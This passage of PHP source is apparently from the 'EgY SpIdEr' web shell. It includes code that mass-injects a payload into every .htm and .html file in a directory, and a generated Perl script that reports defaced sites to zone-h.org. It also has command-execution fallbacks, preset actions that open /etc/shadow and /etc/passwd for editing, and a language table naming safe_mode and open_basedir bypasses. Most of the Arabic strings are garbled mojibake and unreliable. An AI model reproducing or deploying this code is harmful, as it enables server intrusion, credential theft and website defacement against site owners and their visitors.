1698 }
1699 foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
1700 $fp=fopen($injectj00,"a+");
1701 if (fputs($fp,$lolinject)){
1702 echo $injectj00.' was injected<br>';
1703 } else {
1704 echo '<font color=red>failed to inject '.$injectj00.'</font>';
1705 }
1706 }
1707 foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
1708 $fp=fopen($injectj00,"a+");
1709 if (fputs($fp,$lolinject)){
1710 echo $injectj00.' was injected<br>';
1711 } else {
1712 echo '<font color=red>failed to inject '.$injectj00.'</font>';
1713 }
1714 }
1715 } else { //end if inputted dir is real -- if not, show an ugly red error
1716 echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
1717 } // end if inputted dir is real, for real this time
1718} // end if confirmation to mass sploit is go
1719} // end if massbrowsersploit is called
1720
1721
1722
1723
1724
1725
1726if ($dlink=='showsrc'){
1727print "<p><b>: Choose a php file to view in a color mode, any extension else will appears as usual :";print "<form method=get>";
1728input ("text","tools&dlink=showsrc","",35);print " ";
1729input ("hidden","scdir",$scdir,22);input ("submit","tools&dlink=showsrc","Show-src","");print $ef; die();}if(isset($_REQUEST['tools&dlink=showsrc'])){callshsrc(trim($_REQUEST['showsc']));}
1730if (isset($_REQUEST['indx'])&&!empty($_REQUEST['indxtxt']))
1731{if (touch ($_REQUEST['indx'])==true){
1732$fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt']));
1733fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Edit again</a>
1734] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}}
1735if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){
1736print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt>
1737Your index contents here</textarea></p>";
1738input ("text","indx","Index-name",35);print " ";
1739input ("submit","qindsub","Create","");print $ef;die();}
1740if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){
1741$mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt'];
1742if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();}
1743if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){
1744print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt>
1745Your message here</textarea></p>";input ("text","mailto","example@mail.com",35);print " ";input ("text","subj","Title-here",20);print " ";
1746input ("submit","mailsub","Send-mail","");print $ef;die();}
1747if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);}
1748function callzone($nscdir){
1749if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";}
1750else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";}
1751fwrite ($fpz,"\$arq = @ARGV[0];
1752\$grupo = @ARGV[1];
1753chomp \$grupo;
1754open(a,\"<\$arq\");
1755@site = <a>;
1756close(a);
1757\$b = scalar(@site);
1758for(\$a=0;\$a<=\$b;\$a++)
1759{chomp \$site[\$a];
1760if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }
1761print \"[+] Sending \$site[\$a]\n\";
1762use IO::Socket::INET;
1763\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next;
1764print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\";
1765print \$sock \"Accept: */*\r\n\";
1766print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\";
1767print \$sock \"Accept-Language: pt-br\r\n\";
1768print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\";
1769print \$sock \"Connection: Keep-Alive\r\n\";
1770print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\";
1771print \$sock \"Host: old.zone-h.org\r\n\";
1772print \$sock \"Content-Length: 385\r\n\";
1773print \$sock \"Pragma: no-cache\r\n\";
1774print \$sock \"\r\n\";
1775print \$sock \"notify_defacer=\$grupo¬ify_domain=http%3A%2F%2F\$site[\$a]¬ify_hackmode=22¬ify_reason=5¬ify=+OK+\r\n\";
1776close(\$sock);}");
1777if (touch ($li)==true){$fpl=fopen($li,"w+");fwrite ($fpl,$_REQUEST['zonetxt']);
1778}else{print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";}$zonet=$_REQUEST['zonet'];
1779if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru))
1780{print "[ Can't complete the operation !! ]";}
1781else {callfuncs("chmod 777 $zpl;chmod 777 $li");
1782ob_start();callfuncs("perl $zpl $li $zonet");ob_clean();
1783print "<p>[ All sites should be sended to zone-h.org successfully !! ]";die();}
1784}if ($dlink=='zone'&&!isset($_REQUEST['zonesub'])){
1785print $sf."<br>";print "<p><pre><textarea cols=50 rows=10 name=zonetxt>
1786www.site1.com
1787www.site2.com
1788</textarea></pre></p>";input ("text","zonet","Hacker-name",35);print " ";
1789input ("submit","zonesub","Send","");print $ef;die();}
1790print "</div></b></center>"; print"</td></tr>";print"</table>";print "<br>";
1791function inisaf($iniv) { $chkini=ini_get($iniv);
1792if(($chkini || strtolower($chkini)) !=='on'){print"<font color=olive><b>OFF ( Not secured )</b></font>";} else{
1793print"<font color=red><b>ON ( Secured )</b></font>";}}function inifunc($inif){$chkin=ini_get($inif);
1794if ($chkin==""){print " <font color=red><b>None</b></font>";}
1795else {$nchkin=wordwrap($chkin,40,"\n", 1);print "<b><font color=olive>".$nchkin."</font></b>";}}function callocmd($ocmd,$owhich){if(function_exists(exec)){$nval=exec($ocmd);}elseif(!function_exists(exec)){$nval=shell_exec($ocmd);}
1796elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r');
1797while (!feof($opop)){ $nval= fgetc($opop);}}
1798elseif(!function_exists(popen)){ ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}elseif(!function_exists(system)){
1799ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();}
1800if($nval=$owhich){print"<font color=red><b>ON</b></font>";}
1801else{print"<font color=olive><b>OFF</b></font>";} }
1802print"<table bgcolor=#191919 style=\"border:2px #dadada solid ;font-size:13px;font-family:tahoma \" width=100% height=%>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
1803
1804
1805
1806
1807 if(isset($_GET['egy']))
1808 {
1809 echo $head;
1810 echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>';
1811 $memf = @file("meminfo");
1812 if($memf)
1813 {
1814 $c = sizeof($memf);
1815 for($i=0;$i<$c;$i++)
1816 {
1817 $info = explode(":",$memf[$i]);
1818 if($info[1]==""){ $info[1]="---"; }
1819 $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1820 }
1821 echo $r;
1822 }
1823 else
1824 {
1825 echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center">
1826 <font face="tahoma" size="-2"><b>
1827 <p align="center"> </p>
1828 <p align="center">
1829 <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000">
1830<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/about.htm"></IFRAME></font></p>
1831 <p align="center"> </p>
1832 <div id="n" align="center">
1833 </div>
1834 <p> </font></b></div>
1835</b></font></div></td></tr>';
1836 }
1837 echo '</table>';
1838 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
1839 die();
1840 }
1841 if(isset($_GET['news']))
1842 {
1843 echo $head;
1844 echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>';
1845 $memf = @file("meminfo");
1846 if($memf)
1847 {
1848 $c = sizeof($memf);
1849 for($i=0;$i<$c;$i++)
1850 {
1851 $info = explode(":",$memf[$i]);
1852 if($info[1]==""){ $info[1]="---"; }
1853 $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1854 }
1855 echo $r;
1856 }
1857 else
1858 {
1859 echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center">
1860 <font face="tahoma" size="-2"><b>
1861 <p align="center"> </p>
1862 <p align="center">
1863 <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000">
1864<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/news.htm"></IFRAME></font></p>
1865 <p align="center"> </p>
1866 <div id="n" align="center">
1867 </div>
1868 <p> </font></b></div>
1869</b></font></div></td></tr>';
1870 }
1871 echo '</table>';
1872 echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
1873 die();
1874 }
1875
1876
1877
1878
1879if(isset($_GET['5']))
1880 {$_POST['cmd'] = 'systeminfo';}
1881if(isset($_GET['6']))
1882 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
1883if(isset($_GET['7']))
1884 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
1885if(isset($_GET['8']))
1886 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
1887if(isset($_GET['9']))
1888 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
1889if(isset($_GET['10']))
1890 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
1891if(isset($_GET['13']))
1892 {$_POST['cmd']='cat /proc/cpuinfo';}
1893if(isset($_GET['14']))
1894 {$_POST['cmd']='cat /proc/version';}
1895if(isset($_GET['15']))
1896 {$_POST['cmd'] = 'free';}
1897if(isset($_GET['16']))
1898 {$_POST['cmd'] = 'dmesg(8)';}
1899if(isset($_GET['17']))
1900 {$_POST['cmd'] = 'vmstat';}
1901if(isset($_GET['18']))
1902 {$_POST['cmd'] = 'lspci';}
1903if(isset($_GET['19']))
1904 {$_POST['cmd'] = 'lsdev';}
1905if(isset($_GET['20']))
1906 {$_POST['cmd']='cat /proc/interrupts';}
1907if(isset($_GET['21']))
1908 {$_POST['cmd'] = 'cat /etc/*realise';}
1909if(isset($_GET['22']))
1910 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
1911if(isset($_GET['23']))
1912 {$_POST['cmd'] = 'lsattr -va';}
1913if(isset($_GET['24']))
1914 {$_POST['cmd'] = 'w';}
1915if(isset($_GET['25']))
1916 {$_POST['cmd'] = 'who';}
1917if(isset($_GET['26']))
1918 {$_POST['cmd'] = 'uptime';}
1919if(isset($_GET['27']))
1920 {$_POST['cmd'] = 'last -n 10';}
1921if(isset($_GET['28']))
1922 {$_POST['cmd'] = 'ps -aux';}
1923if(isset($_GET['29']))
1924 {$_POST['cmd'] = 'service --status-all';}
1925if(isset($_GET['30']))
1926 {$_POST['cmd'] = 'ifconfig';}
1927if(isset($_GET['31']))
1928 {$_POST['cmd'] = 'netstat -a';}
1929if(isset($_GET['32']))
1930 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
1931if(isset($_GET['33']))
1932 {$_POST['cmd'] = 'fdisk -l';}
1933if(isset($_GET['34']))
1934 {$_POST['cmd'] = 'df -h';}
1935
1936
1937#if(isset($_GET['']))
1938# {$_POST['cmd'] = '';}
1939
1940
1941$lang=array(
1942'ar_text1' =>'ÇáÇãÑ ÇáãäÃÃ',
1943'ar_text2' =>'ÊäÃÃà ÇáÇæÇãÑ Ãà ÇáÓÃÑÃÑ',
1944'ar_text3' =>'ÇãÑ ÇáÊÔÛÃá',
1945'ar_text4' =>'ãßÇä Úãáß ÇáÇä Úáì ÇáÓÃÑÃÑ',
1946'ar_text5' =>'ÑÃÚ ãáà Çáì ÇáÓÃÑÃÑ',
1947'ar_text6' =>'ãÓÇÑ ãáÃß',
1948'ar_text7' =>'ÇæÇãÑ ÌÇåÒå',
1949'ar_text8' =>'ÇÎÊÑ ÇáÇãÑ',
1950'ar_butt1' =>'ÊäÃÃÃ',
1951'ar_butt2' =>'ÑÃÜÚ',
1952'ar_text9' =>'ÃÊà ÈæÑÊ Ãà ÇáÓÃÑÃÑ Úáì /bin/bash',
1953'ar_text10'=>'ÈÜæÑÊ',
1954'ar_text11'=>'ÈÇÓæÑà ááÃÎæá',
1955'ar_butt3' =>'ÃÊÃ',
1956'ar_text12'=>'ÃÊÕÜÇá ÚÜßÓÃ',
1957'ar_text13'=>'ÇáÇà ÈÃ',
1958'ar_text14'=>'ÇáãäÃÃ',
1959'ar_butt4' =>'ÃÊÜÕÇá',
1960'ar_text15'=>'ÓÃÈ ãáÃÇÊ Çáì ÇáÓÃÑÃÑ',
1961'ar_text16'=>'Úä ØÑÃÞ',
1962'ar_text17'=>'ÑÇÈØ ÇáãáÃ',
1963'ar_text18'=>'ãßÇä äÒæáå',
1964'ar_text19'=>'Exploits',
1965'ar_text20'=>'ÅÓÊÎÃã',
1966'ar_text21'=>'ÇáÇÓã ÇáÌÃÃÃ',
1967'ar_text22'=>'ÇäÈæÈ ÇáÈÃÇäÇÊ',
1968'ar_text23'=>'ÇáÈæÑÊ ÇáãÃáÃ',
1969'ar_text24'=>'ÇáÓÃÑÃÑ ÇáÈÚÃÃ',
1970'ar_text25'=>'ÇáãäÃà ÇáÈÚÃÃ',
1971'ar_text26'=>'ÇÓÊÎÃã',
1972'ar_butt5' =>'ÊÔÛÃá',
1973'ar_text28'=>'ÇáÚãá Ãà ÇáæÖÚ ÇáÇãä',
1974'ar_text29'=>'ããäæÚ ÇáÃÎæá',
1975'ar_butt6' =>'ÊÛÃÑ',
1976'ar_text30'=>'ÚÑÖ ãáÃ',
1977'ar_butt7' =>'ÚÑÖ',
1978'ar_text31'=>'Çáãáà ÛÃÑ ãæÌæÃ',
1979'ar_text32'=>'ÊäÃÃà ßæà php Úä ØÑÃÞ ÃÇáå eval',
1980'ar_text33'=>'Test bypass open_basedir with cURL functions',
1981'ar_butt8' =>'ÇÎÊÈÇÑ',
1982'ar_text34'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑå include',
1983'ar_text35'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑå Mysql',
1984'ar_text36'=>'ÇáÞÇÚÃÉ . ÇáÌÃæá',
1985'ar_text37'=>'ÇÓã ÇáãÓÊÎÃã',
1986'ar_text38'=>'ßáãÉ ÇáãÑæÑ',
1987'ar_text39'=>'ÇáÞÇÚÃÉ',
1988'ar_text40'=>'äÓÎÉ ãä ÃŒÃÇæá ÇáÞÇÚÃÉ',
1989'ar_butt9' =>'äÓÎÉ',
1990'ar_text41'=>'ÃÃÙ ÇáäÓÎÉ ÃÃ',
1991'ar_text42'=>'ÊÚÃÃá ÇáãáÃÇÊ',
1992'ar_text43'=>'Çáãáà ÇáãÑÇà ÊÚÃÃáå',
1993'ar_butt10'=>'ÃÃÙ',
1994'ar_text44'=>'áÇÊÓÊØÃÚ ÇáÊÚÃÃá Úáì Ã¥ÃÇ Çáãáà ÃÞØ ÊÞÑÃ',
1995'ar_text45'=>'Êã ÇáÃÃÙ',
1996'ar_text46'=>'ÚÑÖ phpinfo()',
1997'ar_text47'=>'ÑÄÃÉ ÇáãÊÛÃÑÇÊ Ãà php.ini',
1998'ar_text48'=>'ãÓà ãáÃÇÊ ÇáÜ temp',
1999'ar_butt11'=>'ÊÃÑÃÑ ÇáãáÃ',
2000'ar_text49'=>'ãÓà ÇáÓßÑÈÊ ãä ÇáÓÃÑÃÑ',
2001'ar_text50'=>'ÚÑÖ ãÚáæãÇÊ ÇáÃÇßÑÉ ÇáÑÆÃÓÃÉ',
2002'ar_text51'=>'ÚÑÖ ãÚáæãÇÊ ÇáÃÇßÑÉ',
2003'ar_text52'=>'ÈÃË äÕ',
2004'ar_text53'=>'Ãà ÇáãÓÇÑ',
2005'ar_text54'=>'ÈÃË Úä äÕ Ãà ÇáãáÃÇÊ',
2006'ar_butt12'=>'ÈÃË',
2007'ar_text55'=>'ÃÞØ Ãà ÇáãáÃÇÊ',
2008'ar_text56'=>'áÇÃæÌà :(',
2009'ar_text57'=>'ÇäÔÇÃ/ãÓà ãáÃ/ãÌáÃ',
2010'ar_text58'=>'ÇáÇÓã',
2011'ar_text59'=>'ãáÃ',
2012'ar_text60'=>'ãÌáÃ',
2013'ar_butt13'=>'ÅäÔÇà /ãÓÃ',
2014'ar_text61'=>'Êã ÅäÔÇà ÇáãáÃ',
2015'ar_text62'=>'Êã ÅäÔÇà ÇáãÌáÃ',
2016'ar_text63'=>'Êã ãÓà ÇáãáÃ',
2017'ar_text64'=>'Êã ãÓà ÇáãÌáÃ',
2018'ar_butt65'=>'ÅäÔÇÃ',
2019'ar_text66'=>'ãÓÃ',
2020'ar_text67'=>'ÇáÊÕÑÃÃ/ÇáãÓÊÎÃã/ÇáãÌãæÚÉ',
2021'ar_text68'=>'ÇãÑ',
2022'ar_text69'=>'ÅÓã ÇáãáÃ',
2023'ar_text70'=>'ÇáÊÕÑÃÃ',
2024'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2025'ar_text72'=>'ÇáäÕ ÇáãÑÇÃ',
2026'ar_text73'=>'ÈÃË Ãà ÇáãÌáÃÇÊ',
2027'ar_text74'=>'ÈÃË Ãà ÇáãáÃÇÊ',
2028'ar_text75'=>'* you can use regexp',
2029'ar_text76'=>'ÇáÈÃË Úä äÕ Ãà ãáÃÇÊ 龂 find',
2030'ar_text80'=>'ÇáäæÚ',
2031'ar_text81'=>'ÇáÅÊÕÇáÇÊ',
2032'ar_text82'=>'ÞæÇÚà ÇáÈÃÇäÇÊ',
2033'ar_text83'=>'ÊÔÛÃá ÇãÑ ÇÓÊÚáÇã',
2034'ar_text84'=>'ÇÓÊÚáÇã ÞÇÚÃÉ',
2035'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2036'ar_text86'=>'ÊäÒÃá ãáÃÇÊ ãä ÇáÓÃÑÃÑ',
2037'ar_butt14'=>'ÊÃãÃá',
2038'ar_text87'=>'ÊäÒÃá ãáÃÇÊ ãä ÎÇÃã ÇáÇà Êà ÈÃ',
2039'ar_text88'=>'ÓÃÑÃÑ ÇáÇà Êà ÈÃ:ÇáãäÃÃ',
2040'ar_text89'=>'ãáà Ãà ÇáÇà Êà ÈÃ',
2041'ar_text90'=>'ÇáÊÃæÃá Çáì',
2042'ar_text91'=>'ÇÑÔÃÉ',
2043'ar_text92'=>'ãä ÛÃÑ ÇáÇÑÔÃÉ',
2044'ar_text93'=>'ÇáÇà Êà ÈÃ',
2045'ar_text94'=>'ÊÎãÃä ÇáÇà Êà ÈÃ',
2046'ar_text95'=>'ÞÇÆãÉ ÇáãÓÊÎÃãÃä',
2047'ar_text96'=>'áã ÃÓÊØÚ ÓÃÈ ÞÇÆãÉ ÇáãÓÊÎÃãÃä',
2048'ar_text97'=>'Êã ÇáÃÃÕ: ',
2049'ar_text98'=>'Êã ÈäÌÇÃ: ',
2050'ar_text99'=>'* ÇÓÊÎÃã ÇÓãÇà ÇáãÓÊÎÃãÃä Ãà ãáà /etc/passwd áÃÎæá ááÜ ftp',
2051'ar_text100'=>'ÇÑÓÇá ãáà Çáì ÎÇÃã ÇáÇà Êà ÈÃ',
2052'ar_text101'=>'ÇÓÊÎÃã ÇáÇÓÇãà ãÚßæÓå áÊÎãÃäåÇ',
2053'ar_text102'=>'ÃŽÃãÇÊ ÇáÈÑÃÃ',
2054'ar_text103'=>'ÇÑÓÇá ÈÑÃÃ',
2055'ar_text104'=>'ÇÑÓÇá ãáà Çáì ÇáÇÃãÃá',
2056'ar_text105'=>'Åáì',
2057'ar_text106'=>'ãÜä',
2058'ar_text107'=>'ÇáãæÖæÚ',
2059'ar_butt15'=>'ÅÑÓÇá',
2060'ar_text108'=>'ÇáÑÓÇáÉ',
2061'ar_text109'=>'ãÎÃÃ',
2062'ar_text110'=>'ÚÑÖ',
2063'ar_text111'=>'ÓÃÑÃÑ ÞæÇÚà ÇáÈÃÇäÇÊ : ÇáãäÃÃ',
2064'ar_text112'=>'ÞÑÇÆÉ ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ ÃÇáå mb_send_mail',
2065'ar_text113'=>'ÞÑÇÆÉ ãÃÊæì ÇáãÌáÃÇÊ Úä ØÑÃÞ via imap_list',
2066'ar_text114'=>'ÞÑÇÆÉ ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ via imap_body',
2067'ar_text115'=>'ÞÑÇÆÉ ÇáãáÃÇÊ Úä ØÑÃÞ compress.zlib://',
2068'ar_text116'=>'äÓÎ ãä',
2069'ar_text117'=>'Çáì',
2070'ar_text118'=>'Êã äÓÎ ÇáãáÃ',
2071'ar_text119'=>'áÇÃÓÊØÃÚ ÇáäÓÎ',
2072'ar_err0'=>'ÎØÇà ! áÇÃãßä ÇáßÊÇÈÉ Úáì Ã¥ÃÇ Çáãáà ',
2073'ar_err1'=>'ÎØÇà ! ÛÃÑ ÞÇÃÑ Úáì ÞÑÇÆå Ã¥ÃÇ Çáãáà ',
2074'ar_err2'=>'ÎØÇÃ! áÇÃãßä ÇáÇäÔÇà ',
2075'ar_err3'=>'ÎØÇÃ! ÛÃÑ ÞÇÃÑ Úáì ÇáÇÊÕÇá ÈÇáÇà Êà ÈÃ',
2076'ar_err4'=>'ÎØÇà ! áÇÊÓÊØÃÚ ÇáÃÎæá Çáì ÓÃÑÃÑ ÇáÇà Êà ÈÃ',
2077'ar_err5'=>'ÎØÇà ! áÇÊÓÊØÃÚ ÊÛÃÑ ÇáãÌáà Ãà ÇáÇà Êà ÈÃ',
2078'ar_err6'=>'ÎØÇà ! áÇÊÓÊØÃÚ ÇÑÓÇá ÑÓÇáå',
2079'ar_err7'=>'ÇáÈÑÃà ÇÑÓá',
2080'ar_text200'=>'copy()ÞÑÇÆÉ ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ',
2081'ar_text202'=>'ãÓÇÑ Çáãáà ÇáãÑÇà ÞÑÇÆÊå',
2082'ar_text300'=>'curl()ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ',
2083'ar_text203'=>'ini_restore()ÞÑÇÆÉ ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ',
2084'ar_text204'=>'error_log()ÒÑÇÚå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑå',
2085'ar_text205'=>'ÃÒÑÚ ÇáÔá Úáì Ã¥ÃÇ ÇáãÓÇÑ',
2086'ar_text206'=>'ÞÑÇÆå ãÃÊæÃÇÊ ÇáãÌáÃ',
2087'ar_text207'=>'ÞÑÇÆå ãÃÊæÃÇÊ ÇáãÌáÃÇÊ Úä ØÑÃÞ ËÛÑå reg_glob',
2088'ar_text208'=>'ÊäÃÃà ÇáÇæÇãÑ Ãà ÇáæÖÚ ÇáÇãä Úä ØÑÃÞ ÇáÃæÇá',
2089'ar_text209'=>'ÞÑÇÆå ãÃÊæÃÇÊ ÇáãÌáÃÇÊ Úä ØÑÃÞ ËÛÑå root',
2090'ar_text210'=>'Ãß ÊÔÃÃÑ ÇáÒäà ',
2091'ar_text211'=>'::ÇÞÃÇá ÇáÓÃà ãæÃ::',
2092'ar_text212'=>'php.ini ÇÞÃÇá ÇáÓÃà ãæà Úä ØÑÃÞ ÒÑÚ ãáÃ',
2093'ar_text213'=>'htacces ÅÞÃÇá Çáãæà ÓßÃæÑÊà Úä ØÑÃÞ ÒÑÚ ãáÃ',
2094'ar_text214'=>'ÃÓã ÇáÇÃãä',
2095'ar_text215'=>'ÚäæÇä ÇáÓÃÑÃÑ IRC ',
2096'ar_text216'=>'# ÃÓã ÇáÛÑÃÃ¥ ãÚ',
2097'ar_text217'=>'ÇÓã ÇáÓÃÑÃÑ ÇáãÎÊÑÞ',
2098'ar_text218'=>'áÅÃÞÇà ÇáÓÃà ãæà ini_restore ÒÑÚ ãáà ÃÃÊæà Úáì ËÛÑå',
2099'ar_text219'=>'ÓÃÈ ãáÃÇÊ Çáì ÇáÓÃÑÃÑ æÊÛÃÑ ÇÓãåÇ ÈÇáæÖÚ ÇáÇãä',
2100'ar_text220'=>'ÇÓÊÚÑÇÖ ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑå symlink ÇáÎØæå ÇáÇæáì',
2101'ar_text221'=>'ÖÛØ ÇáãáÃÇÊ áÊÃãÃáåÇ ãä ÇáãæÞÚ(ÈÚà ÊÃãÃáåÇ áÌåÇÒß ÛÃÑ ÇãÊÃÇà Çáãáà áÇãÊÃÇÃÃ¥ ÇáÓÇÈÞ)1',
2102'ar_text222'=>'ÇÓÊÚÑÇÖ ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑå symlink ÇáÎØæå ÇáËÇäÃÃ¥',
2103'ar_text223'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ÇáÃæÇá',
2104'ar_text224'=>'PLUGIN ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑå ',
2105'ar_text143'=>'ÇáÊãÈ: ',
2106'ar_text65'=>'ÇäÔÇÃ',
2107
2108
2109
2110
2111'ar_text33'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2112'ar_text34'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ include function',
2113'ar_text35'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ load file in mysql',
2114'ar_text85'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ commands execute via MSSQL server',
2115'ar_text112'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2116'ar_text113'=>'ÊÎØì ÇáÓÃà ãæà È safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2117'ar_text114'=>'ÊÎØì ÇáÓÃà ãæà È safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2118'ar_text115'=>'ÊÎØì ÇáÓÃà ãæà È safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2119'ar_text116'=>'Copy from',
2120'ar_text117'=>'to',
2121'ar_text118'=>'File copied',
2122'ar_text119'=>'Cant copy file',
2123'ar_text120'=>'ÊÎØì ÇáÓÃà ãæà È safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2124'ar_text121'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2125'ar_text122'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2126'ar_text123'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2127'ar_text124'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2128'ar_text126'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2129'ar_text127'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2130'ar_text128'=>'Modify/Access file (touch)',
2131'ar_text129'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2132'ar_text130'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2133'ar_text131'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2134'ar_text132'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2135'ar_text133'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2136'ar_err3'=>'Error! Can\'t connect to ftp',
2137'ar_err4'=>'Error! Can\'t login on ftp server',
2138'ar_err5'=>'Error! Can\'t change dir on ftp',
2139'ar_err6'=>'Error! Can\'t sent mail',
2140'ar_err7'=>'Mail send',
2141'ar_text1' =>'Executed command',
2142'ar_text2' =>'Execute command on server',
2143'ar_text33'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2144'ar_text34'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ include function',
